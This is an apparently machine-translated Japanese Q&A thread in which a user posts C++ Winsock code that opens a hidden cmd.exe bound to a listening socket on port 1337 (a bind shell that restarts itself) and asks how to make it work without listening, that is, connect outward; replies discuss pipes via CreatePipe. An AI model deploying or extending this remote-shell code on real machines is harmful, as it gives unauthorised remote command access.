2016-08-27 6 views
-2

私はcmd.exeの入力と出力をかなり長時間リダイレクトしようとしていましたが、C#での処理方法を理解していましたが、それでもC++で正しく実装する方法については気にしません。 私が得た最も遠いものはpopen()でした。これは、コマンドを渡すたびにプロセスを再開してしまい、cdのようなコマンドを使用することができなくなってしまい、次のserverside関数でクライアント側に移植できなくなってしまいました:WinSock接続へのStdIn/StdOut/StdErrリダイレクト

#define WIN32_LEAN_AND_MEAN 
#include <windows.h> 
#include <winsock2.h> 
#include <iostream> 

using namespace std; 


void ServerStart() 
{ 
    WSADATA wsa; 

    SOCKET s; 
    SOCKADDR_IN sAddr; 

    USHORT port; 

    PROCESS_INFORMATION pi; 
    STARTUPINFO si; 

    port = 1337;//Set listening port 

    memset(&si, 0, sizeof(si)); 
    si.cb = sizeof(si); 
    si.wShowWindow = SW_HIDE; 
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 

    sAddr.sin_addr.s_addr = INADDR_ANY; 
    sAddr.sin_port = (port >> 8) | (port << 8); 
    sAddr.sin_family = AF_INET; 

    WSAStartup(0x0202, &wsa); 

    s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); 
    bind(s, (LPSOCKADDR)&sAddr, sizeof(sAddr)); 
    listen(s, 5); 

    __asm 
    { 
     push ebx 
     mov ebx, s 
    } 
    s = accept(s, NULL, NULL);//Accept Client 
    __asm 
    { 
     push ebx 
     call DWORD PTR [closesocket]//Close if error. 
     pop ebx 
    } 

    si.hStdInput = (HANDLE)s; 
    si.hStdOutput = (HANDLE)s; 
    si.hStdError = (HANDLE)s; 

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);//Start the remote process 

    WaitForSingleObject(pi.hProcess, INFINITE);//Allow Client to control remote process 

    CloseHandle(pi.hProcess); 
    CloseHandle(pi.hThread); 
    closesocket(s); 

    WSACleanup(); 
    ServerStart();//Server Start Loop 
} 

私はリスニングパートなしで上記と同じようにする方法についての助けやアドバイスをお待ちしております。ありがとうございます。

+1

あなた '__asm'ブロックは不要です。元の 'SOCKET'をEBXに保存するのではなく、上書きできるようにする代わりに、代わりに2番目の' SOCKET'変数を使うべきです。あなたが本当に必要としない限り、C/C++とアセンブリーを混在させないでください。これは、必要な時代ではありません。 –

答えて

0

stdin/out/errリダイレクトには、WinSockソケットハンドルを直接使用することはできません。代わりにCreatePipe()のパイプを使用してください。あなたは

  • は、ソケットからの着信データを読み取り、
  • はSTDOUT/ERRパイプからデータを読み込み、ソケットに書き込み標準入力パイプに書き込み、余分なコードを記述する必要があります。

MSDNはリダイレクトにパイプを使用する例があります。

Creating a Child Process with Redirected Input and Output